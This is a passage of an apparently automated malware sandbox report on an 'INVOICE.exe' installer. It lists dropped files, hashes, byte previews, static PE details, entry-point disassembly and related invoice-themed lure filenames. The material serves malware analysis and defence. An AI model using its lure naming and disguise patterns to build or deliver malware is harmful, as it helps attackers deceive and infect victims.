	SecuriteInfo.com.Artemis5578255A695D.24317.exe	Get hash	malicious	Browse
	louCCFrO4t.exe	Get hash	malicious	Browse
	Gas bill for 5-25- 2022#U00b7pdf.exe	Get hash	malicious	Browse
	louCCFrO4t.exe	Get hash	malicious	Browse
	Gas bill for 5-25- 2022#U00b7pdf.exe	Get hash	malicious	Browse
	KwP6qU3cQ8.exe	Get hash	malicious	Browse
	KwP6qU3cQ8.exe	Get hash	malicious	Browse
	2gl1wtChCW.exe	Get hash	malicious	Browse
	2gl1wtChCW.exe	Get hash	malicious	Browse
	2040220322.exe	Get hash	malicious	Browse
	2040220322.exe	Get hash	malicious	Browse
C:\Users\user\AppData\Local\Temp\System.Threading.dll	INVOICE.exe	Get hash	malicious	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\Arteriagra2.Syr

Download File

Process:	C:\Users\user\Desktop\INVOICE.exe
File Type:	data
Category:	dropped
Size (bytes):	105748
Entropy (8bit):	6.594105073918034
Encrypted:	false
SSDEEP:	1536:6/oEoq1Iy3Kyat2nSqglaSi+ksT7ewHxgdR:ioEoq1Iy3Kyg6R8aStewRgX
MD5:	6728021C3198EE4F6F422A047AC506EF
SHA1:	C2E97C1816BAE3AA7D40C3EA59F52812ED6AAE70
SHA-256:	4DB076FA62DAEA04C6634069D10E4C7A67846BD1E524B40A989A5C27498BBB98
SHA-512:	9A3017C4B487F8892E9131EB3452B4A432D997262D169D76133936AB3A5064614F1C3EF93DCE88CE3A84B7BCB5E7D7A3DDA8845DF46D4690A554BDF367FC18D4
Malicious:	false
Reputation:	low
Preview:	...q........6..$G.................................................................9.,..\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|.....f.b....4.h..................................................f.....g........5o..........................................s.A........4qk./................................................f.......f.c.f.j....(..`F.................................... ....f.f.f.h....%.V....................................{R..f.s....s........'...P...........................................c......q..=...H\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\......q.i....f.r.O....3:..}............................................................<.&.svvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv.................$.W.H.........................................f.... ..0P............................f......f...f...f........!...S44444444444444444444444444444.....f............,.~..ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ..f.u..a......!..........................

C:\Users\user\AppData\Local\Temp\BCGCBProRes_it-IT.nls

Download File

Process:	C:\Users\user\Desktop\INVOICE.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1245
Entropy (8bit):	5.462849750105637
Encrypted:	false
SSDEEP:	24:hM0mIAvy4Wvsqs1Ra7JZRGNeHX+AYcvP2wk1RjdEF3qpMk5:lmIAq1UqsziJZ+eHX+AdP2TvpMk5
MD5:	5343C1A8B203C162A3BF3870D9F50FD4
SHA1:	04B5B886C20D88B57EEA6D8FF882624A4AC1E51D
SHA-256:	DC1D54DAB6EC8C00F70137927504E4F222C8395F10760B6BEECFCFA94E08249F
SHA-512:	E0F50ACB6061744E825A4051765CEBF23E8C489B55B190739409D8A79BB08DAC8F919247A4E5F65A015EA9C57D326BBEF7EA045163915129E01F316C4958D949
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">..<html xmlns="http://www.w3.org/1999/xhtml">..<head>..<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>..<title>404 - File or directory not found.</title>..<style type="text/css">.. ..body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}..fieldset{padding:0 15px 10px 15px;} ..h1{font-size:2.4em;margin:0;color:#FFF;}..h2{font-size:1.7em;margin:0;color:#CC0000;} ..h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} ..#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;..background-color:#555555;}..#content{margin:0 0 0 2%;position:relative;}...content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}..-->..</style>..</head>..<body>..<div id="header"><h1>Server Error</h1></div>..<div id="content">.. <div class="co

C:\Users\user\AppData\Local\Temp\System.Runtime.Handles.dll

Download File

Process:	C:\Users\user\Desktop\INVOICE.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	15512
Entropy (8bit):	6.804862962213531
Encrypted:	false
SSDEEP:	384:PZ152PIWOmWqlC/uPHRN7yYWF//dJR9ztG/+A:R1zSlWMyYWF//dj9zW
MD5:	6CFD24EDAD19285628C42E150B13CEFC
SHA1:	D2349988D62A8047C8194B5C0A25C525B8B58FCB
SHA-256:	C702F48311386BB45B4A9189058914197B16B5B5B9606A39B0F4C24EE891F04E
SHA-512:	1AFA531D42D67BCA0542063DCFB031F06E4CC923F5ADDCD5A954AEEBA03B29EBC37EBD002F6C2CA9144B56D2E3FAD4893C6F3C4C3368D85A5B34F196D1940980
Malicious:	false
Antivirus:	Antivirus: Virustotal, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: INVOICE.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...C............"!..0..............)... ........@.. ...............................;....`.................................x)..S....@...................(...`.......(..8............................................ ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H........ ......................P ........................................$a....4t....o.}\Mn....q.....o3.l.\w....1..%U.F<...<.s..].j."..?9.N.N...g?.9..'.K.l ..,.].,p.....4,.M.ly.....p._.LC.MNBSJB............v4.0.30319......`.......#~..L.......#Strings....P.......#GUID...`.......#Blob......................3................................................(.x.....x...f.F.................'.........L...........a.......................H.....z.....\|.x.................@.....

C:\Users\user\AppData\Local\Temp\System.Threading.dll

Download File

Process:	C:\Users\user\Desktop\INVOICE.exe
File Type:	PE32+ executable (DLL) (console) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	78952
Entropy (8bit):	6.515753721409949
Encrypted:	false
SSDEEP:	1536:ZFCLZygVO0U5/YrxnU9EqOfxdrJ2RH7AGlUMG:ZyZygVO1exnU9EzxdroKGlUJ
MD5:	514AE47FAB14E04E3F7EF70179184F43
SHA1:	BA17EEA34A75439362C8FB1F12CA438570FBDB77
SHA-256:	3AF3A8B198EADC2120DC9F2CD9AE150EE7BE6F3D0C1985519C3C6E652AD25682
SHA-512:	286ACD03EDD57B36EE72E76995583042B94C244D8C2337DBD63DEB1DA36F5A8D04E0DB6963AB71B033EC442D3C37CF68701B3E4F0A3933E35B111CE9AA8921A6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: INVOICE.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d................" .........................................................0.......{....`...@......@............... ..................................`....)..\.......h$... ..$.......T...........................................................`...H............text...;........................... ..`.data...............................@....reloc..$.... ......................@..B............................................0.......................P.....4...V.S._.V.E.R.S.I.O.N._.I.N.F.O...................y.........?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n.........h.....S.t.r.i.n.g.F.i.l.e.I.n.f.o...D.....0.0.0.0.0.4.b.0...:.....C.o.m.m.e.n.t.s...S.y.s.t.e.m...T.h.r.e.a.d.i.n.g.....L.....C.o.m.p.a.n.y.N.a.m.e.....M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n...J.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n.....S.y.s.t.e.m...T.h.r.

C:\Users\user\AppData\Local\Temp\alnicoes.til

Download File

Process:	C:\Users\user\Desktop\INVOICE.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	37546
Entropy (8bit):	3.9997596847051198
Encrypted:	false
SSDEEP:	768:2kQDmlZJu47eyQpLGGDER1k5y93KTddS32yNWhv8LIeYnIxy6F60lZo2/E7J:/fYLvFcPapS3Av8LI+06w0t/G
MD5:	32EA6BDBD368660B87A6EC28764BC17E
SHA1:	A6A680014E0A66AD33D2CB5C8A7797C7CEAC17B5
SHA-256:	63A2C9E2B87F9AFBADB3CB8D66A68C75A0ABD483C05E5FAF24CA57B4E2DE8CC7
SHA-512:	02A6CFBFA9E010252AF19BDD2685D309200B6972C707E0611CCEDE1D28754DFFB3AB0AE67C5260458867B68666A3E55524222B572EA8107B04BC01591AD6B8F1
Malicious:	false
Preview:	F28AE2E97416D75FE90BB4B3A6736394D00229E223FF26C6428F6CABF02CF5ECF1832FCEE89C461C6522F06F84DEF0379CF3D556372AC3A4613C07F9DE6B70535D70D7E435B71B70D351DF74E0B191CE46DA8AEB92AF61403721E8A3FF6FD31F18F7196C53A5045CB46A6D6EE4FB17407BE18D3462B121469C17677FC65EBB1A38ECC8BB6E105296AE92FA840F814D34EAEED9EE8B1E5260E11AB7D35C6F875DEFB14508B136AE74E476B223879B6849DED035E7C4D3691BC73CE378CEDF035AE3E7613F8CBED6D3B181DCC17414A5955BB8CECCDE8D44DA68DCC5E07FBECF9EF7FD6AAD072FFC06AA321FB0458FD3D05CB8D90DE1726507AC090B852CBE75648DD7BBBA9EC043DC5436EF5BEBFB1EDBCFD129BEA8F2DC3E8A7C8BCDEDEA7F93D75A442478272955AC72F4CA893C3D7BAFC0B656EDBFED4FE2DDD719DA7513B25E8A3659BA70938CB1F644EE50C5A0E2627A71B87266D6ECF81CEA059605C33F9AEB2F5EEA1CB0DC3483CE7D929057BB4C44D44DAE1196F0052645EABED4CE08A628ED306334ECB504B93A3975B44F4805517CFCE2B94908D502DBE1C4FEBC8CE1299D4C136B2DD5699EDD0E99B461425D4661D6F22C483A42900BD2F0EE05D9C684CF691A04B54AA33593A1E7AFD8567E8C60ECA230AFED5D3E95CC7967AC1C5DE6F1E66B83ECF9A29937C2E28A7B7CE8AF5AE8

C:\Users\user\AppData\Local\Temp\directory\filename.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe
File Type:	data
Category:	dropped
Size (bytes):	262120
Entropy (8bit):	7.238241658369799
Encrypted:	false
SSDEEP:	3072:rbG7N2kDTHUpou5I/QGAhsCKgUbnVCP/+B9F9EbvwwgMvdOHcgW0SpC7Pn5r0K85:rbE/HUhO0XI9FWuMvG006yPnfTMR
MD5:	183E5A973298E12DA305DED4205E702A
SHA1:	4F3BA6B3D4B5ABBAFFC255B041F9D9AF1802A858
SHA-256:	7112CBF9E0FE7D32310D3AEB5F8CD47A3551C651E42AC1A83914C86A43D301B1
SHA-512:	D6BD33D978BC13170B9FB92F18A62016C0FF3599D8C0CFF0570BE8F735F1542BDF2CC8A0A799CBA2388CA5235F4BE563835ABDFF1C18B2D0C15953358F402DDE
Malicious:	false
Preview:	.Z......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf.sV..Pf..V`..Pf.Rich.Pf.........................PE..L...Z.Oa.................j..........-5............@.......................................@............................................. ...............@............................................................................................text....h.......j.................. ..`.rdata...............n..............@..@.data...............................@....ndata.......`...........................rsrc... ...........................@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\drive-harddisk-usb-symbolic.svg

Download File

Process:	C:\Users\user\Desktop\INVOICE.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	316
Entropy (8bit):	4.795067099691328
Encrypted:	false
SSDEEP:	6:tI9mc4slzcWER4tVvgtt7XR9XeTRnVcMdN/NwWULbm8aBJcllf7lNDME:t4CDqtVvg7XaTRtTFwWULpq8Nl9ME
MD5:	B326D09573739B7BD22AE9BC602BEBE1
SHA1:	6F10B07DF50E425BE75D7C0042E45926CAC06137
SHA-256:	BC31190E955A90C3442F3C222435751717A04834EFB8006334CAC55DA27CAF54
SHA-512:	5C27A1148C50568500133D962A9AFE3E434ED704FC64B9DC42CFBA7F52CABBD35468E8B3096CCFAE0D12EF1D80D710D7B57B98F69677EE5612F8FC39055F9293
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16"><path d="M8.5 0h-1l-2 4H7v5H4V7.729A2 2 0 005 6a2 2 0 10-3 1.73V9c0 2 2 2 2 2h3v1.271A2 2 0 006 14a2 2 0 103-1.73V11h3s2 0 2-2V8s1.125-.188 1-1V5c.125-1.125-1-1-1-1h-2c-1.063 0-1 1-1 1v2c0 1 1 1 1 1v1H9V4h1.5z" fill="#2e3436" fill-rule="evenodd"/></svg>

C:\Users\user\AppData\Local\Temp\go-bottom-symbolic.svg

Download File

Process:	C:\Users\user\Desktop\INVOICE.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	710
Entropy (8bit):	4.447432775965755
Encrypted:	false
SSDEEP:	12:TMHdPnnl/nu3tlnuIDLfHShZozWlz2WJhWlz5jJhWlzgbVoJmdJWlzLVoJmdJWlp:2dPnnxu3tlrDLfybcNWv6vLbmJmdJYmZ
MD5:	CF5D546B0985AD2F75E420FDEEE8ABEC
SHA1:	222DC112B47362AA10965C3F98D47951A69CC9D4
SHA-256:	8433D0660B758DC3345BD673251ABA619E9376E92AAA132E1844DCF846F188DA
SHA-512:	D92CB4C6D28DECAE21A065772AABE0A854DDA4EB58C9F425FA6B895949C01F6EF62B461F4F5039712F461AAF5C17673120484EAB581E8ECC688818EB6F5E774E
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<svg height="16px" viewBox="0 0 16 16" width="16px" xmlns="http://www.w3.org/2000/svg">. <g fill="#2e3436">. <path d="m 2.707031 2.292969 l -1.414062 1.414062 l 6.707031 6.707031 l 6.707031 -6.707031 l -1.414062 -1.414062 l -5.292969 5.292969 z m 0 0"/>. <path d="m 15 3 v -1 h -1 v 1 z m 0 0"/>. <path d="m 2 3 v -1 h -1 v 1 z m 0 0"/>. <path d="m 3 3 c 0 -0.554688 -0.445312 -1 -1 -1 s -1 0.445312 -1 1 s 0.445312 1 1 1 s 1 -0.445312 1 -1 z m 0 0"/>. <path d="m 15 3 c 0 -0.554688 -0.445312 -1 -1 -1 s -1 0.445312 -1 1 s 0.445312 1 1 1 s 1 -0.445312 1 -1 z m 0 0"/>. <path d="m 1 14 v -2 h 14 v 2 z m 0 0"/>. </g>.</svg>.

C:\Users\user\AppData\Local\Temp\nspB8FC.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\INVOICE.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	5.814115788739565
Encrypted:	false
SSDEEP:	192:Zjvco0qWTlt70m5Aj/lQ0sEWD/wtYbBHFNaDybC7y+XBz0QPi:FHQlt70mij/lQRv/9VMjzr
MD5:	CFF85C549D536F651D4FB8387F1976F2
SHA1:	D41CE3A5FF609DF9CF5C7E207D3B59BF8A48530E
SHA-256:	8DC562CDA7217A3A52DB898243DE3E2ED68B80E62DDCB8619545ED0B4E7F65A8
SHA-512:	531D6328DAF3B86D85556016D299798FA06FEFC81604185108A342D000E203094C8C12226A12BD6E1F89B0DB501FB66F827B610D460B933BD4AB936AC2FD8A88
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 3%, Browse Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: SecuriteInfo.com.W32.AIDetect.malware2.8825.exe, Detection: malicious, Browse Filename: INVOICE.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.W32.AIDetect.malware2.8825.exe, Detection: malicious, Browse Filename: REQUEST FOR OFFER 25-05-2022#U00b7pdf.exe, Detection: malicious, Browse Filename: proforma invoice pdf.exe, Detection: malicious, Browse Filename: REQUEST FOR OFFER 25-05-2022#U00b7pdf.exe, Detection: malicious, Browse Filename: proforma invoice pdf.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Artemis5578255A695D.24317.exe, Detection: malicious, Browse Filename: Payment_Advice.xlsx, Detection: malicious, Browse Filename: SecuriteInfo.com.Artemis5578255A695D.24317.exe, Detection: malicious, Browse Filename: louCCFrO4t.exe, Detection: malicious, Browse Filename: Gas bill for 5-25- 2022#U00b7pdf.exe, Detection: malicious, Browse Filename: louCCFrO4t.exe, Detection: malicious, Browse Filename: Gas bill for 5-25- 2022#U00b7pdf.exe, Detection: malicious, Browse Filename: KwP6qU3cQ8.exe, Detection: malicious, Browse Filename: KwP6qU3cQ8.exe, Detection: malicious, Browse Filename: 2gl1wtChCW.exe, Detection: malicious, Browse Filename: 2gl1wtChCW.exe, Detection: malicious, Browse Filename: 2040220322.exe, Detection: malicious, Browse Filename: 2040220322.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......qr.5.D.5.D.5.D...J.2.D.5.E.!.D.....2.D.a0t.1.D.V1n.4.D..3@.4.D.Rich5.D.........PE..L.....Oa...........!....."..................@...............................p............@..........................B.......@..P............................`.......................................................@..X............................text.... .......".................. ..`.rdata..c....@.......&..............@..@.data...x....P.......*..............@....reloc.......`.......,..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\updater.ini

Download File

Process:	C:\Users\user\Desktop\INVOICE.exe
File Type:	Windows setup INFormation, UTF-8 Unicode text, with very long lines
Category:	dropped
Size (bytes):	1225
Entropy (8bit):	4.6943702353982895
Encrypted:	false
SSDEEP:	24:ShrmEx6IL6UDUXqk2ba4IkhqHXVvuMQqXzTw0Y1nQXiwnpOU8:S9T0IL6U4S5I2euMtzTw0iQXiwngU8
MD5:	99295D6215590991C85E42E9FAF2761F
SHA1:	FC1C7C55D43FFA7D9CAAC60D248DDC2779ABEBE0
SHA-256:	050A30288F374F867178E9E14FB70192D9A50530E7FE5237A707197EAB028402
SHA-512:	3DE2F860062ED7BD85139B3E0DC9C9388D57A2BECF8731D0550079E19C32AF6EE3578E92C85F42B875C0A55C0682C8105762051996C62D6B77975061198917D9
Malicious:	false
Preview:	; This Source Code Form is subject to the terms of the Mozilla Public.; License, v. 2.0. If a copy of the MPL was not distributed with this.; file, You can obtain one at http://mozilla.org/MPL/2.0/...[Strings].Title=Aggiornamento Firefox.Info=Firefox sta installando gli aggiornamenti e si avvier. fra qualche istante..MozillaMaintenanceDescription=Mozilla Maintenance Service garantisce che sul computer sia sempre installata la versione pi. recente e pi. sicura di Mozilla Firefox. Mantenere Firefox costantemente aggiornato . fondamentale per la sicurezza durante la navigazione, per questo motivo Mozilla consiglia di lasciare attivo questo servizio...; IMPORTANT: This file should always start with a newline in case a locale.; provided updater.ini does not end with a newline..; Application to launch after an update has been successfully applied. This.; must be in the same directory or a sub-directory of the directory of the.; application executable that initiated the software update.

C:\Users\user\AppData\Local\Temp\user-trash-symbolic.symbolic.png

Download File

Process:	C:\Users\user\Desktop\INVOICE.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	164
Entropy (8bit):	5.895691362934477
Encrypted:	false
SSDEEP:	3:yionv//thPl9vt3lAnsrtxBll7Mlgk0zGDPypLCCuCVu9ZcyxDjrIbvcr/bp:6v/lhPyspkhdqLCCuCVuQi/rIbsTp
MD5:	40FD1CB204BCCD773B72525B3FB03265
SHA1:	00745E555F1F69AD74B8926868481658B6DF6DC4
SHA-256:	B7793D587D8D1525BB621C577492C00516A940393105A07C435CBAF01619F8E6
SHA-512:	B74FB1BE2BD317E2F23B395C25D4B38C4E54BE7C67E195E3E5F8697C08DDBFA4ED5F5E33B385993F4AE798CFBAEFD7D249745D5E9E4B3820F14119391A584047
Malicious:	false
Preview:	.PNG........IHDR................a....sBIT....\|.d....[IDAT8.c`@...............WPE.......0.#. Y..\.4..@"I->/..A....`....0.i..P._NDNl...#&+cdi...+z%,.n....IEND.B`.

C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\catalog.dat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe
File Type:	data
Category:	dropped
Size (bytes):	232
Entropy (8bit):	7.024371743172393
Encrypted:	false
SSDEEP:	6:X4LDAnybgCFcpJSQwP4d7ZrqJgTFwoaw+9XU4:X4LEnybgCFCtvd7ZrCgpwoaw+Z9
MD5:	32D0AAE13696FF7F8AF33B2D22451028
SHA1:	EF80C4E0DB2AE8EF288027C9D3518E6950B583A4
SHA-256:	5347661365E7AD2C1ACC27AB0D150FFA097D9246BB3626FCA06989E976E8DD29
SHA-512:	1D77FC13512C0DBC4EFD7A66ACB502481E4EFA0FB73D0C7D0942448A72B9B05BA1EA78DDF0BE966363C2E3122E0B631DB7630D044D08C1E1D32B9FB025C356A5
Malicious:	false
Preview:	Gj.h\.3.A...5.x..&...i+..c(1.P..P.cLT...A.b........4h...t.+..Z\.. .i.....@.3..{...grv+V...B.......].P...W.4C}uL.....s~..F...}......E......E...6E.....{...{.yS...7..".hK.!.x.2..i..zJ... ....f..?._....0.:e[7w{1.!.4.....&.

C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\run.dat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe
File Type:	ISO-8859 text, with no line terminators
Category:	dropped
Size (bytes):	8
Entropy (8bit):	3.0
Encrypted:	false
SSDEEP:	3:G/t:Gl
MD5:	4C93AB6CED3E25EE85C0582A475154DC
SHA1:	EA80D21D44FC666219C8A6308B40F9DB28E89F2D
SHA-256:	F033002C87E0B353C322418953603D8CDBA0665E268241976EC3C0D634BE392E
SHA-512:	F661FCE9D74C2E82EE9D7A6DDEB4C7840645077E0C652D016AA91406DCED7DB6F54BADBC46F26DD64D7075422EDA1C87CCE36C1EB4669D3D6B80879EB5EE2A80
Malicious:	true
Preview:	Ly..b>.H

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.238261722532882
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	INVOICE.exe
File size:	262120
MD5:	a10619d494661c1f8ca180e53c5a11fd
SHA1:	1273e17b50d8d33078df02447fa9adaab255b459
SHA256:	e126c11aec2897bd7959747e70bc85d4153abdadbe45344bb41771ced23f3228
SHA512:	bc1383fa76765e77298ee35d4358bca8b2be7c310d7567f4d93c67790a0f6f03941f1301c11b78bfa5e178dc312ac3d0886417f705e5613f6f732b0b7f23b36a
SSDEEP:	3072:EbG7N2kDTHUpou5I/QGAhsCKgUbnVCP/+B9F9EbvwwgMvdOHcgW0SpC7Pn5r0K85:EbE/HUhO0XI9FWuMvG006yPnfTMR
TLSH:	4F44D020B7A8BB36CCE25DBA057A127E8EE6DE101605DD4327313A4C1A37ED4AF5B215
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf..sV..Pf..V`..Pf.Rich.Pf.........................PE..L...Z.Oa.................j.........

File Icon


Icon Hash:	79c4b6b3b2aae831

Static PE Info

General

Entrypoint:	0x40352d
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x614F9B5A [Sat Sep 25 21:57:46 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	56a78d55f3f7af51443e58e0ce2fb5f6

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN="MAGNETOSTATIC FORKORTELSESLISTENS Whizgig ", O=Hereticated, L=Wellsville, S=Kansas, C=US
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	23/05/2022 14:06:15 23/05/2023 14:06:15
Subject Chain	CN="MAGNETOSTATIC FORKORTELSESLISTENS Whizgig ", O=Hereticated, L=Wellsville, S=Kansas, C=US
Version:	3
Thumbprint MD5:	699972A492A19376B77B2AED92BC1C97
Thumbprint SHA-1:	E1F82DA5213EDEC1AB97EC2FFC65EE3DDBD3D55A
Thumbprint SHA-256:	4AFC8697012468A5B106CBE76591E9ADE8C5E8C06F6A3B15A12246F487717BE0
Serial:	DCE6229CB2DDC799

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
sub esp, 000003F4h
push ebx
push esi
push edi
push 00000020h
pop edi
xor ebx, ebx
push 00008001h
mov dword ptr [ebp-14h], ebx
mov dword ptr [ebp-04h], 0040A2E0h
mov dword ptr [ebp-10h], ebx
call dword ptr [004080CCh]
mov esi, dword ptr [004080D0h]
lea eax, dword ptr [ebp-00000140h]
push eax
mov dword ptr [ebp-0000012Ch], ebx
mov dword ptr [ebp-2Ch], ebx
mov dword ptr [ebp-28h], ebx
mov dword ptr [ebp-00000140h], 0000011Ch
call esi
test eax, eax
jne 00007F02F0D46E2Ah
lea eax, dword ptr [ebp-00000140h]
mov dword ptr [ebp-00000140h], 00000114h
push eax
call esi
mov ax, word ptr [ebp-0000012Ch]
mov ecx, dword ptr [ebp-00000112h]
sub ax, 00000053h
add ecx, FFFFFFD0h
neg ax
sbb eax, eax
mov byte ptr [ebp-26h], 00000004h
not eax
and eax, ecx
mov word ptr [ebp-2Ch], ax
cmp dword ptr [ebp-0000013Ch], 0Ah
jnc 00007F02F0D46DFAh
and word ptr [ebp-00000132h], 0000h
mov eax, dword ptr [ebp-00000134h]
movzx ecx, byte ptr [ebp-00000138h]
mov dword ptr [00434FB8h], eax
xor eax, eax
mov ah, byte ptr [ebp-0000013Ch]
movzx eax, ax
or eax, ecx
xor ecx, ecx
mov ch, byte ptr [ebp-2Ch]
movzx ecx, cx
shl eax, 10h
or eax, ecx

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8610	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x5f000	0x11320	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x3e7a8	0x1840	.ndata
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6897	0x6a00	False	0.666126179245	data	6.45839821493	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x14a6	0x1600	False	0.439275568182	data	5.02410928126	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x2b018	0x600	False	0.521484375	data	4.15458210409	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.ndata	0x36000	0x29000	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_WRITE, IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x5f000	0x11320	0x11400	False	0.273027060688	data	4.45026203596	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x5f208	0x10828	dBase IV DBT, blocks size 0, block length 2048, next free block index 40, next free block 0, next used block 0	English	United States
RT_DIALOG	0x6fa30	0x100	data	English	United States
RT_DIALOG	0x6fb30	0x11c	data	English	United States
RT_DIALOG	0x6fc50	0xc4	data	English	United States
RT_DIALOG	0x6fd18	0x60	data	English	United States
RT_GROUP_ICON	0x6fd78	0x14	data	English	United States
RT_VERSION	0x6fd90	0x24c	data	English	United States
RT_MANIFEST	0x6ffe0	0x33e	XML 1.0 document, ASCII text, with very long lines, with no line terminators	English	United States

Imports

DLL	Import
